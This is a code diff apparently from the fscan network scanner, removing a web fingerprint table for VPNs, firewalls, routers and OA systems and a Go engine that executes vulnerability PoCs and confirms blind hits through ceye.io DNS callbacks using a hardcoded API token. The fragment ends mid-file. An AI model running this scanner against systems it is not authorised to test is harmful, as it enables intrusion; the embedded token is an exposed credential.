{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
||||
{"Nagios", "headers", "(Nagios Access)"},
|
||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
||||
{"泛微协同办公OA", "headers", "(ecology_JSessionid)"},
|
||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
||||
{"360网站卫士", "code", "(360wzb)"},
|
||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
||||
{"linksys-vpn-bragap14-parintins", "code",
|
||||
"(linksys-vpn-bragap14-parintins)"},
|
||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
||||
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
|
||||
{"jira", "code", "(jira.webresources)"},
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
||||
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
|
||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
||||
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
||||
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
}
|
||||
@@ -1,208 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
|
||||
ceyeDomain = "7wtusr.ceye.io"
|
||||
)
|
||||
|
||||
type Task struct {
|
||||
Req *http.Request
|
||||
Poc *Poc
|
||||
}
|
||||
|
||||
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
|
||||
tasks := make(chan Task)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
wg.Add(1)
|
||||
for task := range tasks {
|
||||
isVul, err := executePoc(task.Req, task.Poc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if isVul {
|
||||
result := fmt.Sprintf("%s %s", task.Req.URL, task.Poc.Name)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
}()
|
||||
}
|
||||
for _, poc := range LoadMultiPoc(Pocs, pocname) {
|
||||
task := Task{
|
||||
Req: req,
|
||||
Poc: poc,
|
||||
}
|
||||
tasks <- task
|
||||
}
|
||||
close(tasks)
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
c := NewEnvOption()
|
||||
c.UpdateCompileOptions(p.Set)
|
||||
env, err := NewEnv(&c)
|
||||
if err != nil {
|
||||
fmt.Println("environment creation error: %s\n", err)
|
||||
return false, err
|
||||
}
|
||||
variableMap := make(map[string]interface{})
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
return false, err
|
||||
}
|
||||
variableMap["request"] = req
|
||||
|
||||
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
|
||||
keys := make([]string, 0)
|
||||
for k := range p.Set {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
for _, k := range keys {
|
||||
expression := p.Set[k]
|
||||
if k != "payload" {
|
||||
if expression == "newReverse()" {
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%s", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if p.Set["payload"] != "" {
|
||||
out, err := Evaluate(env, p.Set["payload"], variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["payload"] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
|
||||
success := false
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
//return false, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
success = false // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
break
|
||||
}
|
||||
success = true
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func doSearch(re string, body string) map[string]string {
|
||||
r, err := regexp.Compile(re)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
result := r.FindStringSubmatch(body)
|
||||
names := r.SubexpNames()
|
||||
if len(result) > 1 && len(names) > 1 {
|
||||
paramsMap := make(map[string]string)
|
||||
for i, name := range names {
|
||||
if i > 0 && i <= len(result) {
|
||||
paramsMap[name] = result[i]
|
||||
}
|
||||
}
|
||||
return paramsMap
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func newReverse() *Reverse {
|
||||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
sub := RandomStr(randSource, letters, 8)
|
||||
if ceyeDomain == "" {
|
||||
return &Reverse{}
|
||||
}
|
||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
||||
u, _ := url.Parse(urlStr)
|
||||
return &Reverse{
|
||||
Url: ParseUrl(u),
|
||||
Domain: u.Hostname(),
|
||||
Ip: "",
|
||||
IsDomainNameServer: false,
|
||||
}
|
||||
}
|
||||
@@ -1,469 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
"github.com/google/cel-go/common/types"
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
||||
return cel.NewEnv(cel.Lib(c))
|
||||
}
|
||||
|
||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
||||
ast, iss := env.Compile(expression)
|
||||
if iss.Err() != nil {
|
||||
//fmt.Println("compile: ", iss.Err())
|
||||
return nil, iss.Err()
|
||||
}
|
||||
|
||||
prg, err := env.Program(ast)
|
||||
if err != nil {
|
||||
//fmt.Println("Program creation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out, _, err := prg.Eval(params)
|
||||
if err != nil {
|
||||
//fmt.Println("Evaluation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func UrlTypeToString(u *UrlType) string {
|
||||
var buf strings.Builder
|
||||
if u.Scheme != "" {
|
||||
buf.WriteString(u.Scheme)
|
||||
buf.WriteByte(':')
|
||||
}
|
||||
if u.Scheme != "" || u.Host != "" {
|
||||
if u.Host != "" || u.Path != "" {
|
||||
buf.WriteString("//")
|
||||
}
|
||||
if h := u.Host; h != "" {
|
||||
buf.WriteString(u.Host)
|
||||
}
|
||||
}
|
||||
path := u.Path
|
||||
if path != "" && path[0] != '/' && u.Host != "" {
|
||||
buf.WriteByte('/')
|
||||
}
|
||||
if buf.Len() == 0 {
|
||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
||||
buf.WriteString("./")
|
||||
}
|
||||
}
|
||||
buf.WriteString(path)
|
||||
|
||||
if u.Query != "" {
|
||||
buf.WriteByte('?')
|
||||
buf.WriteString(u.Query)
|
||||
}
|
||||
if u.Fragment != "" {
|
||||
buf.WriteByte('#')
|
||||
buf.WriteString(u.Fragment)
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
type CustomLib struct {
|
||||
envOptions []cel.EnvOption
|
||||
programOptions []cel.ProgramOption
|
||||
}
|
||||
|
||||
func NewEnvOption() CustomLib {
|
||||
c := CustomLib{}
|
||||
|
||||
c.envOptions = []cel.EnvOption{
|
||||
cel.Container("lib"),
|
||||
cel.Types(
|
||||
&UrlType{},
|
||||
&Request{},
|
||||
&Response{},
|
||||
&Reverse{},
|
||||
),
|
||||
cel.Declarations(
|
||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
||||
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
||||
),
|
||||
cel.Declarations(
|
||||
// functions
|
||||
decls.NewFunction("bcontains",
|
||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("bmatches",
|
||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("md5",
|
||||
decls.NewOverload("md5_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomInt",
|
||||
decls.NewOverload("randomInt_int_int",
|
||||
[]*exprpb.Type{decls.Int, decls.Int},
|
||||
decls.Int)),
|
||||
decls.NewFunction("randomLowercase",
|
||||
decls.NewOverload("randomLowercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("substr",
|
||||
decls.NewOverload("substr_string_int_int",
|
||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("wait",
|
||||
decls.NewInstanceOverload("reverse_wait_int",
|
||||
[]*exprpb.Type{decls.Any, decls.Int},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("icontains",
|
||||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
cel.Functions(
|
||||
&functions.Overload{
|
||||
Operator: "bytes_bcontains_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
return types.Bool(bytes.Contains(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatch_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
||||
}
|
||||
ok, err := regexp.Match(string(v1), v2)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.Bool(ok)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "md5_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
||||
}
|
||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomInt_int_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
from, ok := lhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
||||
}
|
||||
to, ok := rhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomLowercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "substr_string_int_int",
|
||||
Function: func(values ...ref.Val) ref.Val {
|
||||
if len(values) == 3 {
|
||||
str, ok := values[0].(types.String)
|
||||
if !ok {
|
||||
return types.NewErr("invalid string to 'substr'")
|
||||
}
|
||||
start, ok := values[1].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid start to 'substr'")
|
||||
}
|
||||
length, ok := values[2].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
} else {
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
}
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "reverse_wait_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
reverse, ok := lhs.Value().(*Reverse)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
||||
}
|
||||
timeout, ok := rhs.Value().(int64)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
||||
}
|
||||
return types.Bool(reverseCheck(reverse, timeout))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "icontains_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// 声明环境中的变量类型和函数
|
||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
||||
return c.envOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
||||
return c.programOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
|
||||
for k, v := range args {
|
||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
||||
var d *exprpb.Decl
|
||||
if strings.HasPrefix(v, "randomInt") {
|
||||
d = decls.NewIdent(k, decls.Int, nil)
|
||||
} else if strings.HasPrefix(v, "newReverse") {
|
||||
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
|
||||
} else {
|
||||
d = decls.NewIdent(k, decls.String, nil)
|
||||
}
|
||||
c.envOptions = append(c.envOptions, cel.Declarations(d))
|
||||
}
|
||||
}
|
||||
|
||||
func randomLowercase(n int) string {
|
||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
if ceyeApi == "" || r.Domain == "" {
|
||||
return false
|
||||
}
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||
fmt.Println(urlStr)
|
||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
const (
|
||||
letterIdxBits = 6 // 6 bits to represent a letter index
|
||||
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
|
||||
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
|
||||
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
)
|
||||
randBytes := make([]byte, n)
|
||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
||||
if remain == 0 {
|
||||
cache, remain = randSource.Int63(), letterIdxMax
|
||||
}
|
||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
||||
randBytes[i] = letterBytes[idx]
|
||||
i--
|
||||
}
|
||||
cache >>= letterIdxBits
|
||||
remain--
|
||||
}
|
||||
return string(randBytes)
|
||||
}
|
||||
@@ -1,171 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"io"
|
||||
